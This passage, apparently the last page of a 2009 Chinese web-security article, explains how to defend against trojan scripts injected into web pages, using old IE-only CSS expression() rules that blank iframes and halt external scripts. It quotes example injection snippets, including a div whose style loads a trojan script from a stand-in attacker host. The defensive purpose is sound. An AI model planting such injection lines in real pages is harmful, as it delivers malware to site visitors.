WEB开发网
开发学院网络安全安全技术 教你反击令人防不胜防的JS挂马问题 阅读

教你反击令人防不胜防的JS挂马问题

 2009-02-05 13:53:18 来源:WEB开发网   
核心提示: <div style="behaviour: url(http://www.hacker.com/木马脚本.js);">或者:<iframe src="vbscript:[挂马脚本]">等等……防第

<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">

或者:

<iframe src="vbscript:[挂马脚本]">

等等……

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。

<title>让JS挂马中止的CSS代码</title>
<style type="text/css" id="shudoo">
/*<![CDATA[*/
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>

我们虽然能够巧妙地利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了,下次我们详细讨论。

上一页  1 2 3 

Tags:反击 令人 防不胜防

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接